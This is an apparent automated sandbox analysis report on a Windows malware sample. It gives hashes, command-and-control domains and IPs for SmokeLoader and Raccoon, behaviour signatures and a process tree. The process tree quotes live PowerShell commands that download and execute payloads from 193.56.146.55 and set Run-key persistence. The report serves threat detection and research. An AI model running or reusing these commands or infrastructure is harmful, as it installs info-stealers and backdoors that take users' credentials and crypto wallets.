Resubmissions

26-08-2021 21:12

210826-flswvxb8js 10

13-08-2021 07:22

210813-9241gpvrbs 10

Analysis

  • max time kernel
    149s
  • max time network
    193s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    13-08-2021 07:22

General

  • Target

    06a029882deabf229f62728afe3baf4f.exe

  • Size

    319KB

  • MD5

    06a029882deabf229f62728afe3baf4f

  • SHA1

    33a5953fbcce8761af1e68df9c9f4ad153c4a536

  • SHA256

    f24a559e79ba3121c7e0fed4ac995da056fe6a0dac71b2360f9e340b97117d05

  • SHA512

    a81631eef6163f437e5bdf83156d26856653411dc6b9becc5580a83b9a4123faec5855d625beec15b1f71c3155624187f776f56b4f58e5f87e9f39bd8b61ba88

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://193.56.146.55/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes
  • url4cnc

    https://telete.in/p1rosto100xx

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 4 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • StealthWorker

    StealthWorker is golang-based brute force malware.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\06a029882deabf229f62728afe3baf4f.exe
    "C:\Users\Admin\AppData\Local\Temp\06a029882deabf229f62728afe3baf4f.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Users\Admin\AppData\Local\Temp\06a029882deabf229f62728afe3baf4f.exe
      "C:\Users\Admin\AppData\Local\Temp\06a029882deabf229f62728afe3baf4f.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1700
  • C:\Users\Admin\AppData\Local\Temp\FD72.exe
    C:\Users\Admin\AppData\Local\Temp\FD72.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:380
  • C:\Users\Admin\AppData\Local\Temp\197.exe
    C:\Users\Admin\AppData\Local\Temp\197.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1296
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1652
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:1784
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://193.56.146.55/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1296
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1632
  • C:\Users\Admin\AppData\Local\Temp\3BA.exe
    C:\Users\Admin\AppData\Local\Temp\3BA.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1516
    • C:\Windows\SysWOW64\cmd.exe
      cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
      2⤵
      • Drops startup file
      PID:1504
  • C:\Users\Admin\AppData\Local\Temp\66A.exe
    C:\Users\Admin\AppData\Local\Temp\66A.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Users\Admin\AppData\Local\Temp\66A.exe
      C:\Users\Admin\AppData\Local\Temp\66A.exe
      2⤵
      • Executes dropped EXE
      PID:1028
  • C:\Users\Admin\AppData\Local\Temp\D0F.exe
    C:\Users\Admin\AppData\Local\Temp\D0F.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:752
  • C:\Users\Admin\AppData\Local\Temp\6608.exe
    C:\Users\Admin\AppData\Local\Temp\6608.exe
    1⤵
    • Executes dropped EXE
    PID:1012
  • C:\Windows\SysWOW64\explorer.exe
    C:\Windows\SysWOW64\explorer.exe
    1⤵
      PID:1772

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/752-96-0x0000000002870000-0x0000000002871000-memory.dmp

      Filesize

      4KB

    • memory/752-93-0x0000000000120000-0x0000000000121000-memory.dmp

      Filesize

      4KB

    • memory/1012-183-0x0000000000400000-0x0000000002CA9000-memory.dmp

      Filesize

      40.7MB

    • memory/1012-181-0x0000000000350000-0x00000000003E1000-memory.dmp

      Filesize

      580KB

    • memory/1028-180-0x0000000000400000-0x0000000000495000-memory.dmp

      Filesize

      596KB

    • memory/1028-163-0x0000000000400000-0x0000000000495000-memory.dmp

      Filesize

      596KB

    • memory/1208-63-0x0000000002A30000-0x0000000002A46000-memory.dmp

      Filesize

      88KB

    • memory/1284-95-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

      Filesize

      4KB

    • memory/1284-158-0x0000000000500000-0x0000000000521000-memory.dmp

      Filesize

      132KB

    • memory/1284-85-0x0000000001000000-0x0000000001001000-memory.dmp

      Filesize

      4KB

    • memory/1296-148-0x0000000006110000-0x0000000006111000-memory.dmp

      Filesize

      4KB

    • memory/1296-79-0x0000000000220000-0x000000000025B000-memory.dmp

      Filesize

      236KB

    • memory/1296-80-0x0000000000400000-0x0000000002C7C000-memory.dmp

      Filesize

      40.5MB

    • memory/1296-149-0x0000000006550000-0x00000000066AB000-memory.dmp

      Filesize

      1.4MB

    • memory/1296-134-0x0000000002010000-0x0000000002011000-memory.dmp

      Filesize

      4KB

    • memory/1296-135-0x0000000004B20000-0x0000000004B21000-memory.dmp

      Filesize

      4KB

    • memory/1296-136-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

      Filesize

      4KB

    • memory/1296-137-0x0000000004AE2000-0x0000000004AE3000-memory.dmp

      Filesize

      4KB

    • memory/1296-138-0x0000000002630000-0x0000000002631000-memory.dmp

      Filesize

      4KB

    • memory/1296-140-0x0000000004850000-0x0000000004851000-memory.dmp

      Filesize

      4KB

    • memory/1516-91-0x0000000000400000-0x0000000002D86000-memory.dmp

      Filesize

      41.5MB

    • memory/1516-90-0x00000000030E0000-0x0000000003323000-memory.dmp

      Filesize

      2.3MB

    • memory/1516-97-0x0000000004DE0000-0x0000000004FF1000-memory.dmp

      Filesize

      2.1MB

    • memory/1516-98-0x0000000000400000-0x0000000002D86000-memory.dmp

      Filesize

      41.5MB

    • memory/1632-170-0x00000000057A0000-0x00000000057A1000-memory.dmp

      Filesize

      4KB

    • memory/1632-155-0x0000000001F00000-0x0000000002B4A000-memory.dmp

      Filesize

      12.3MB

    • memory/1632-174-0x00000000057E0000-0x00000000057E1000-memory.dmp

      Filesize

      4KB

    • memory/1652-84-0x0000000000400000-0x0000000002C7C000-memory.dmp

      Filesize

      40.5MB

    • memory/1700-59-0x0000000000400000-0x0000000000409000-memory.dmp

      Filesize

      36KB

    • memory/1700-61-0x0000000075511000-0x0000000075513000-memory.dmp

      Filesize

      8KB

    • memory/1772-182-0x000000006B051000-0x000000006B053000-memory.dmp

      Filesize

      8KB

    • memory/1784-119-0x0000000006100000-0x0000000006101000-memory.dmp

      Filesize

      4KB

    • memory/1784-120-0x000000007EF30000-0x000000007EF31000-memory.dmp

      Filesize

      4KB

    • memory/1784-128-0x0000000006280000-0x0000000006281000-memory.dmp

      Filesize

      4KB

    • memory/1784-107-0x00000000049B0000-0x00000000049B1000-memory.dmp

      Filesize

      4KB

    • memory/1784-114-0x0000000006080000-0x0000000006081000-memory.dmp

      Filesize

      4KB

    • memory/1784-121-0x0000000006160000-0x0000000006161000-memory.dmp

      Filesize

      4KB

    • memory/1784-109-0x0000000004972000-0x0000000004973000-memory.dmp

      Filesize

      4KB

    • memory/1784-111-0x0000000002440000-0x0000000002441000-memory.dmp

      Filesize

      4KB

    • memory/1784-110-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

      Filesize

      4KB

    • memory/1784-106-0x0000000000520000-0x0000000000521000-memory.dmp

      Filesize

      4KB

    • memory/1784-108-0x0000000004970000-0x0000000004971000-memory.dmp

      Filesize

      4KB

    • memory/2000-62-0x0000000000020000-0x000000000002A000-memory.dmp

      Filesize

      40KB